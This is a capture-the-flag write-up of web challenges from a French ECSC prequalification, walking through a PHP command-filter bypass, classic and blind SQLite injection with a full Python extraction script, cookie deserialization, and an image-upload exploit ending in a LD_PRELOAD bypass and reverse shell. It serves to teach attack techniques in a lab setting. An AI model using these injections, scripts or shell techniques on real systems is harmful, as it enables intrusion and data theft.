ECSC - Prequalification - Web Challenges



1.1/ Prequalification

2/ Leaderboard

3/ Write-Up

3.1/ Web

3.1.1/ PHP Sandbox

3.1.2/ Scully(1)

3.1.3/ Scully(2)

3.1.4/ JackTheRipper

3.1.5/ Ceci n’est pas une pipe





This was the french prequalification event for the ECSC :)


In order to easily identify the top 25 by category, I created a small script to automate this. The top 25 junior/senior will meet again at “Le Hack” on July 6 and 7 for the rest of the French selection.






Pentester, I will focus on Web challenges in particular, since they were the ones that interested me the most at this event. The challenges were very interesting and I was able to discover some ninja tricks ;D Thanks to the organizers :)

List of challenges available:





PHP Sandbox


We are given an application whose CSS is worth the detour:


We quickly understand that the challenge here is to discover a parameter (several?) to send to the application to obtain a different behavior.

My first reflex to tackle this challenge was to modify HTTP methods to detect possible information leaks. The use of the OPTIONS, TRACE and CONNECT methods did not identify a different behaviour (yes, there are many others, but I consider this sampling to be sufficient to test the application).

I therefore start searching for the parameters first (if I don’t brute-force the directories/files that potentially exist on the application). I use a user-friendly “patator” tool to perform the bruteforce of parameters on GET and POST requests.



We discover the existence of the parameter args o/.


Now, it is a question of being able to execute code on the server… :)

After several tests, we quickly detect the presence of a list of forbidden characters (rather strict). Based on my attempts, here is the list in question:

[],: !*$^()%-+{}@\~“’`°;<>?

I also notice that changing the type of the args parameter does not seem to affect the functioning of the application, the list of prohibited characters is identical.

The space character is also prohibited. However, the only command that seems to be allowed requires such a character.


I lied (sorry), the % character is not prohibited, in fact all hexadecimal encodings with a % are, except for %0A when it is placed at the end of the string only and in a single copy.

Unfortunately, this is not enough to allow the OS command injection. However, this devastating character when injecting system commands will not save us this time.

Then comes to me the idea of analyzing the application’s behavior when I submit the args parameter several times…

# Ok despite the presence of the forbidden character':', indeed only the last parameter is taken into account.

# Is not valid when changing the type of the args variable to array !

Thanks to this, we now know that it is possible to chain the values in the args parameter by modifying the type of the latter!

After a long search for why this didn’t work, it was enough to remove the %0A character that had given me so much hope to comply with the instruction “cat <file>“.


Now, you have to find the flag on the server. By observing the source code (from the server) of the index.php file, we discover the presence of a base64 encoded string


I’m not drawing a picture for you..


Scully (1)


We are dealing with a classic authentication interface. The barely evocative name seems to point towards a SQL injection.


A quick look at the HTML content allows us to detect the request to the API to identify ourselves on the application.


Get Burp and go !


I start by modifying the type of the variable to detect a possible information leak. The password parameter is the only one to react and shows me an “encode” function. The password parameter seems to filter (at least a little bit) the user inputs.

I am refocusing on the username parameter.

We detect a SQL injection quickly since it is so trivial to exploit (school case):



Scully (2)


The application is identical to the previous one, except regarding the behavior while injecting in the username field.


We are dealing with a blind SQL injection. The application confirms (success) whether or not (failed) our database request fails or is true in the Boolean sense of the word. To confirm this hypothesis, the following request must fail since 75 is not equal to 74:


Now it is necessary to identify the type of database. From the character for commenting ‘–’ and the different responses of the database to elements specific to certain databases, we can identify a SQLite3 database behind this application.

To confirm, we can count the number of tables in the database:



We can assume that there are less than a million tables in the database… What is true :)

After some test, it is determined that there are two tables in the database.

Now, it is necessary to determine the length of the tables’ name. Then, once these sizes are known, the tables’ name are iterated on each character until the tables’ name can be determined. “Is the first character of the first table an a? b? c? etc.”

We therefore find the “players” and “flag” tables.

The problem with SQLite attacks is the complexity due to the lack of documentation on the subject and the lack of functions/templates to retrieve all the interesting information from a classic database. Here, we can struggle to retrieve (in our context, a SELECT query without displaying the result) the names of the columns associated with the tables.

Indeed, to display the latter, the PRAGMA statement in SQLite3 allows to obtain the different columns of a table.

The technique I used consists in retrieving the query responsible for creating the table in database… And so names of the columns ;P

So we get the desired SQL query thanks to SELECT sql FROM sqlite_master…


CREATE TABLE players(id integer primary key autoincrement, username TEXT, password TEXT)

We can get the flag using SELECT flag FROM flag.


In addition, by taking a look at the table players you can retrieve the admin user and the associated SHA-256 hash 6d4d6c784b7c2870c721f18a6e83305260679076ddd6ed79530ef3b4edb29740.

I couldn’t break the latter to connect to the application despite the use of John The Ripper rules on rockyou dictionnary..


As a bonus, the script I used to automate the extraction of the information in the database (it evolved as I did my research so as not to ask 150 times the same thing). Dirty Little Script, hang on Zeecka, it’s for you:

#!/usr/bin/env python
#-*- coding:utf-8 -*-
import requests
import sys

proxies = {'http':'', 'https':''}
headers = {'User-Agent':'_ACKNAK_'}
url = ''

## Iterating over the length of the two tables
table_number = 1
table_length = 1
table_1_length = 1
table_2_length = 1

while table_number < 3:

    params = {"username":"' oR (76=76 anD (SElECT Length(tbl_name) FrOM sqlite_master WHeRE type='table' aNd tbl_name nOT lIke 'sqlite_%' liMit 1 ofFset "+str(table_number-1)+")="+str(table_length)+")--","password":"--"}

    response =, json=params, proxies=proxies).content

    if "success" in response:
        print("Table number %d has a length of %d." % (table_number, table_length))
        if table_number < 3:
            if table_number == 1:
                table_1_length = table_length
            elif table_number == 2:
                table_2_length = table_length
            table_number += 1
            table_length = 1
        table_length += 1
## Iterating over the name of the two tables

result = ''
characters = 'abcdefghijklmnopqrstuvwxyz{}_-+@0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'

for position in range(1, table_1_length+1):
    found = False
    while found is False:
        for char in characters:
            if found is False:
                params = {"username":"' oR (76=76 anD (SElECT hEx(Substr(tbl_name,"+str(position)+",1)) FrOM sqlite_master WHeRE type='table' aNd tbl_name nOT lIke 'sqlite_%' liMit 1 ofFset 0)=Hex('"+char+"'))--","password":"--"}
                response =, json=params, proxies=proxies).content
                if "success" in response:
                    result += char
                    found = True

        if found is False:
            print('Charset ain\'t ok')

print("Found table name: %s" % result)

result = ''

for position in range(1, table_2_length+1):
    found = False
    while found is False:
        for char in characters:
            if found is False:
                params = {"username":"' oR (76=76 anD (SElECT hEx(Substr(tbl_name,"+str(position)+",1)) FrOM sqlite_master WHeRE type='table' aNd tbl_name nOT lIke 'sqlite_%' liMit 1 ofFset 1)=Hex('"+char+"'))--","password":"--"}
                response =, json=params, proxies=proxies).content
                if "success" in response:
                    result += char
                    found = True
print("Found table name: %s" % result)

## Grabbing the flag

result = ''
characters = ' ECS{}0123456789abcdefghijklmnopqrstuvwxyz;,:!$[]*`|#~&<>/\\?%ABDFGHIJKLMNOPQRTUVWXYZ\'="()_-+@'
column_length = 46

for position in range(1, column_length+1):
    found = False
    while found is False:
        for char in characters:
            if found is False:
                params = {"username":"' oR (76=76 anD (SElECT hEx(Substr(flag,"+str(position)+",1)) FrOM flag liMit 1 ofFset 0)=Hex('"+char+"'))--","password":"--"}
                response =, json=params, proxies=proxies).content
                if "success" in response:
                    result += char
                    print('Current entry is %s' % result)
                    found = True

        if found is False:
            print('Charset ain\'t ok')
            result += '?'
            found = True
print("Found: %s" % result)


Speaking of John, we’re just running into his brother Jack.


The application offers us its source code, it’s quite nice.

In addition to the word play “serial killer”, we notice in the source code the dangerous use of the unserialize method on the cookie user when the latter is present.

The code below is the local reproduction (without database connections) of the application:


ini_set('display_errors', 'On');

class Core {

    public function __construct($debug = False) {
        $this->debug = $debug;
        $this->con = NULL;

    public function doUserLogin($login, $password) {
        if($this->debug) {
            echo 'Found user record';
        return True;

    /* DB Setup and wakeup call */
    private function setupDB() {
	echo "setupdb\n";

    public function __wakeup() {
	echo "wakeup\n";

class User {
    public function __construct() {
        $this->core = new Core();
        $this->username = NULL;
    public function login($login, $password) {
        $ret = $this->core->doUserLogin($login, $password);
        if (!is_null($ret)) {
            $this->username = $ret['login'];
            return true;
        } else return false;

if(isset($_COOKIE['user'])) $u = unserialize($_COOKIE['user']);
else $u = new User();


// A new login?
if(isset($_POST['login'], $_POST['password'])) {

    if($u->login($_POST['login'], $_POST['password'])) {

        setcookie('user', serialize($u));
        presult('Hello '.htmlspecialchars($u->username).', here is your flag: '.file_get_contents('includes/__flag'));

    } else {
        presult('Invalid login/password combination');




This local script aims to quietly debug in our corner the various deserialization errors that we could encounter and this by means of the two error management functions at the beginning of the script :)

A brief explanation on how to use this deserialization:

_ Making a request with a user cookie causes the content of this cookie to be deserialized;

_ We are therefore supposed to have a User object, the latter has two attributes “core” and “username”;

_ The “core” attribute is actually a Core object that has two attributes “debug” and “con” (connection to the database);

_ During a deserialization the magic methods __construct are not called unlike the method __wakeup ;

_ If the debug mode of the Core object is True then any POST request will verify the existence of users in the database and the associated password (it’s not a bug, it’s a feature!).

The application code in the Core object for debugging is as follows:

    public function doUserLogin($login, $password) {
        if(is_null($this->con)) return NULL;

        $pLogin = $this->con->escapeString($login);
        $q = $this->con->query("SELECT id, login, password FROM users WHERE login='{$pLogin}'");

        if(!$q) $row = False;
        else $row = $q->fetchArray();

        // num_rows != 1
        if($row===FALSE || $q->fetchArray()!==FALSE) return NULL;

        if($this->debug) {

            echo 'Found user record:';

        return (md5($password)==$row['password']) ? $row : NULL;

We now have all the elements to exploit this deserialization.

By encoding the following cookie, we will set True to the debug attribute:


Local testing:


Ok everything is fine locally, now let’s make a POST request with the user cookie by asking (by any chance) the admin user:


So we get the MD5 hash from the admin. The hash is known from sites such as, so we quickly recover the associated password => mypassword

We connect and it’s okay :)



Ceci n’est pas une pipe


A login interface, playing with the settings will not help here..


I run directory/files scans in the background via patator with a wordlist of admin, directories (dirbuster) and files (raft):




Re-applying the scans to the identified directories will not do any more.

The todo.php file is very suspicious:


Again, I use patator to try to discover valid parameters via the GET or POST method on the todo.php file, in vain.

In parallel, I test the application, including HTTP methods. Fun fact, we can leak an internal ip via the CONNECT method :)


We also have possible user enumeration on the registration page and we identify a weak password policy (6 characters), if even the ANSSI doesn’t apply its password policy recommendations we’re not going to get by :D


Troll aside, you create an account and access the application:


So you can create notes and upload a file to the server. Moreover, the path to access the file once sent is visible in the HTML document. We will notice the vain attempt to inject HTML content.


After several tests on the file sending functionality, we notice that the only check is on the “magic numbers” that allow to identify the type of file that is sent (it seems to). Here, the application only accepts .png/.jpg/.jpeg files less than 100KB.

It is therefore perfectly possible to insert php code inside an image and rename the file with an.php extension (so that the php code runs).


In particular, many functions are disabled:


I spare you the many unsuccessful attempts to execute php code. In particular, I tried to modify the upload directory (by altering my session) but restrictions in place blocked this behavior.

I then fought for a long time with the php reverse shell payload of pentestmonkey to try to make it work with the restrictions in place (find a replacement for the proc_open function). I have thought long and hard about this payload in the name of the challenge… Pipe everywhere!


Then I thought about the information found in the todo.php file. sendmail, involves an SMTP server, I confirm its presence via phpinfo(). The putenv and file functions are not disabled, so it is possible to bypass the restrictions in place to define an LD_PRELOAD variable in order to execute a script that will have been dropped on the server (reverse shell) when calling the mail() function. Indeed, mail() makes a call to the linux binary sendmail, so the variable LD_PRELOAD will load and execute the malicious script.

A tool perfectly automates this bypass Chankro.



A classic reverse shell payload based on /dev/tcp.


We then get a reverse shell o/

We identify a flag file in the /home folder, this file is an executable. Its execution offers us the flag:


Thanks to the organisers and creators of the challenges for their ideas and energy :)